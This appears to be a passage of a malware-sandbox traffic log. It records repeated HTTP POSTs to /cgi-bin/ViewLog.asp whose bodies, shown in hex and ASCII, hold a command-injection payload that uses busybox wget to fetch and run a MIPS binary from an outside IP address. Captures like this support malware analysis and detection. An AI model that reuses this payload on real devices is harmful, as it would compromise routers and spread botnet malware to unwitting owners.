                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.485126019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:00.605118990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:02.877008915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.484819889 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:16.444606066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.156105995 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:13.019082069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                33192.168.2.153376031.136.62.28080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.903145075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.485141993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:00.605089903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:02.876986980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.484813929 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:16.444592953 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.156117916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:13.019066095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                34192.168.2.153922631.136.208.858080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.903839111 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.485132933 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:00.605108023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:02.876981974 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.484813929 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:16.444581032 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.156153917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:13.019062042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                35192.168.2.153606485.5.172.2008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.904150963 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.369451046 CET867INHTTP/1.1 500 Internal Server Error
                                                Date: Thu, 23 Nov 2023 04:19:59 GMT
                                                Server: Apache/2.4.10 (Debian)
                                                Content-Length: 609
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
